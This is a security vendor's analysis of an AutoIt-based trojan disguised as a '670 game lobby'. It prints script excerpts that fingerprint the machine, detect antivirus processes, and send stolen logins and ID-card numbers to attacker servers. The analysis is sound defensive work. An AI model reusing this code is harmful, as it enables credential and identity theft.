就在今年上半年,456游戲大廳還是金錢的代名詞。一個看起來并不起眼的游戲平臺,注冊用戶卻達2000余萬,每天獲利最高可達100余萬。這樣的一個游戲大廳,必然是各路木馬的兵家必爭之地。于是針對456游戲大廳的各種盜號木馬、遠控木馬也都層出不窮。作為一家互聯網安全公司,我們當然也是一直在和各類木馬作者不斷地對抗。怎奈金錢的利益太過誘人,雖然被我們步步緊逼,但木馬作者卻也從未停止過自己的腳步。
但到今年4月16日,有關456游戲的一切活動戛然而止……
溫州龍灣警方將這宗涉案金額堪比全省一年GDP的特大網絡開設賭場案破獲,涉案人員被抓,456游戲大廳也正式宣告倒臺。皮之不存,毛將焉附——依附于456游戲存在的無數木馬作者也都跟著銷聲匿跡了。我們這些互聯網安全工作者們仿佛也可以松一口氣了。
似曾相識
近日接到用戶舉報說搜索的時候遇到了一個虛假的670游戲大廳,我們便按照用戶的描述找到了這個游戲大廳
而一打開這個所謂的“670游戲”的主頁,我就感覺不對勁了——這不就是456游戲大廳的主頁嗎?
將主頁頁面上掛的游戲平臺下載回來之后安裝……果然——除了改了幾個標題之外,Game456和456游戲的名字還是隨處可見
安裝完成后,會在桌面上生成一個“670游戲大廳”的快捷方式。——直到此時,這個程序還僅僅只是停留在一個簡單的“山寨456游戲大廳”的層面,并沒有實質的惡意行為。
詭異的快捷方式
點開該快捷方式的屬性,乍一看去仿佛還挺正常,但習慣性的用鼠標圈了一下“目標”一欄——怎么這么長!遂將完整目標路徑復制下來:
“C:Program FilesKaiLian Tech670游戲UpdatLobby.exe” plat.mod “C:Program FilesKaiLian Tech670游戲Lobby.exe”
定位到目標文件,是一個隱藏的UploadLobby.exe程序,參數則是同樣隱藏的Plat.mod文件和真正的游戲大廳主程序lobby.exe
驚現Auto456
UpdatLobby.exe這個程序帶有數字簽名“AutoIt Consulting Ltd”。
看到這相信很多人都明白了——這是一個AutoIt的解釋器——用于解釋用AutoIt語言寫成的自動化腳本。那么很顯然,他指向的Plat.mod就是一個自動化腳本。
不出意料,這個腳本是經過編碼的,也就是一個a3x腳本,我們用工具將其轉為文本的au3文本——一個多大1800余行的腳本出現在我的眼前。
同樣不出意料的,我在腳本中看到了這樣的一個久違的變量名——”456exepath”:
而這種利用AutoIt執行惡意代碼的手法在456游戲的時代就曾經出現過——我們稱其為“Auto456”。
腳本分析
觀其1800余行的腳本,封裝了大量的WinAPI和GDI+函數。也正是依賴大量的WinAPI的調用,這個AutoIt的腳本實現了一個原本應該是經過編譯的可執行程序才會有的強大功能。(以下僅列出其中部分)
func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
local $aresult = dllcall("gdi32.dll", "handle", "createcompatiblebitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
if @error then return seterror(@error, @extended, 0x00000000)
return $aresult [0x00000000 ]
endfunc
func _winapi_createcompatibledc($hdc)
local $aresult = dllcall("gdi32.dll", "handle", "createcompatibledc", "handle", $hdc)
if @error then return seterror(@error, @extended, 0x00000000)
return $aresult [0x00000000 ]
endfunc
func _winapi_deletedc($hdc)
local $aresult = dllcall("gdi32.dll", "bool", "deletedc", "handle", $hdc)
if @error then return seterror(@error, @extended, false)
return $aresult [0x00000000 ]
endfunc
func _winapi_deleteobject($hobject)
local $aresult = dllcall("gdi32.dll", "bool", "deleteobject", "handle", $hobject)
if @error then return seterror(@error, @extended, false)
return $aresult [0x00000000 ]
endfunc
func _winapi_getdc($hwnd)
local $aresult = dllcall("user32.dll", "handle", "getdc", "hwnd", $hwnd)
if @error then return seterror(@error, @extended, 0x00000000)
return $aresult [0x00000000 ]
endfunc
……
func _gdiplus_encodersgetclsid($sfileext)
local $aencoders = _gdiplus_encoders()
for $ii = 0x00000001 to $aencoders [0x00000000 ][0x00000000 ]
if stringinstr($aencoders [$ii ][0x00000006 ], "*."& $sfileext) > 0x00000000 then return $aencoders [$ii ][0x00000001 ]
next
return seterror(- 0x00000001, -0x00000001, "")
endfunc
func _gdiplus_encodersgetcount()
local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)
if @error then return seterror(@error, @extended, -0x00000001)
return setextended($aresult [0x00000000 ], $aresult [0x00000001 ])
endfunc
func _gdiplus_encodersgetsize()
local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)
if @error then return seterror(@error, @extended, -0x00000001)
return setextended($aresult [0x00000000 ], $aresult [0x00000002 ])
endfunc
腳本一開始便給出了作者的遠程服務器域名,但看起來很亂:
global $ymdqz = "nat.game670.com-hell.game670.com_download.game670.com."
global $zydfwq = "new670.yx****.com"
global $bydfwq = "news670.ggy****.com"
global $ymdbh = "sina670."
但其實里面只有兩個域名“yx****.com”和“ggy****.com”(處于安全考慮,隱去了域名中的部分字符)。而其他部分則都是這兩個真實域名下屬的子域名。猜測是用來迷惑和誤導分析人員的。
然后就是收集用戶當前的信息
比如本地IP(注釋為本文作者添加,下同)
; 獲取本地IP地址
global $ipadqz = stringleft(@ipaddress1, 0x00000003)
if $ipadqz == "192"or $ipadqz == "0.1"or $ipadqz == "169"or $ipadqz == "10."or $ipadqz == "172"then
$hzxx = "|"& @ipaddress1 & "|"& @computername
else
$hzxx = "|1.1.1.1|"& @computername
endif
檢查用戶機器上是否有正在運行的安全軟件
; 檢查進程
if processexists("360tray.exe") or processexists("ksafetray.exe") or processexists("qqpctray.exe") then
$sysppbb = 0x00000001
$lj = 0x00000001
_ljwini()
endif
$user2 = ""
sleep(0x00000457)
tcpstartup()
; 檢查安全軟件
; 檢查是否存在360
if processexists("360tray.exe") then
$sdxx = "“有360"
else
$sdxx = ""
endif
; 檢查是否存在金山
if processexists("ksafetray.exe") then
if $sdxx <> ""then
$sdxx &= "_金山"
else
$sdxx = "“有金山"
endif
endif
; 檢查是否存在冰點還原
if processexists("df5serv.exe") then
if $sdxx <> ""then
$sdxx &= "_冰點"
else
$sdxx = "“有冰點"
endif
endif
集到這些信息之后會作為第一個數據包打包發送給木馬作者的收信服務器,作為記錄。
收集完這些基礎信息之后,才是病毒的真正主體——一個長達300多行的死循環。
正是這個死循環,在監視著用戶的一舉一動。
比如每隔一段時間(循環500次)就會檢查一遍放在桌面上的快捷方式是否正常(是否依然指向病毒),如果不正常了就修復一下,并通知服務器修復了快捷方式。而如果腳本一段時間內(循環3500次)沒有發現你做過什么有價值的事情,也會定點向服務器報告一下當前置頂的窗口標題是什么。甚至當你需要注冊的時候,木馬都會為你貼心的準備了幾個處理過的窗口貼圖和驗證碼圖案……
當然,作者最想要拿到的,必然還是用戶的賬戶登錄信息。更為嚴重的是——由于此類游戲平臺涉及大宗的財務交易,所以大多都要求登陸的時候需要輸入本人真實身份證號碼用于驗證。這樣一來,木馬作者竊取的就不僅僅是游戲資產而已了——也包括了用戶的身份證信息,而這會牽連出多少其他的個人隱私數據,就無法想象了。
if $passtemp == "yfsa"and winexists("[class:kailiangame456]") and controlcommand("[class:kailiangame456]", "", "button8", "isenabled", "") == 0x00000001 then
$passtemp = ""
if $sfz <> ""and stringlen($sfz) <> 0x00000012 then
_tcpsdd(_stringencrypt(0x00000001, $user & "||||||sfz-error"& $hzxx))
$sfz = ""
endif
_tcpsdd(_stringencrypt(0x00000001, $user & "|"& $pass & "|"& $sfz & "||||"& $sdxx & $hzxx & "|"& $date))
endif
看到這里,如果你以為這是一個盜號的自動化腳本,那你就錯了——除了盜號功能外,腳本更主要的功能其實是一個遠控。他可以接收來自木馬作者服務器的指令,并根據指令進行各種操作
另外,如果下發的指令是一個URL,腳本還會去下載這個URL對應的文件到本地執行。
查殺攔截
由于病毒代碼的執行者其實是AutoIt的解釋器,而這個解釋器本身并非惡意程序(它只是在逐行的解釋并執行腳本里每一條指令而已),并且也有正規有效的數字簽名。真正含有惡意代碼的腳本文件卻躲在解釋器的后面,不會以獨立進程的形式出現在系統中。
因此導致現在市面上所有的安全軟件中,除360外都無法正常攔截該木馬。所幸的是得益于和456游戲木馬的長期對抗經驗,360對此類木馬一直是可以有效攔截的
最后也要提醒大家:久賭無勝家——無論是否是木馬,賭博類游戲,我們就應該遠離。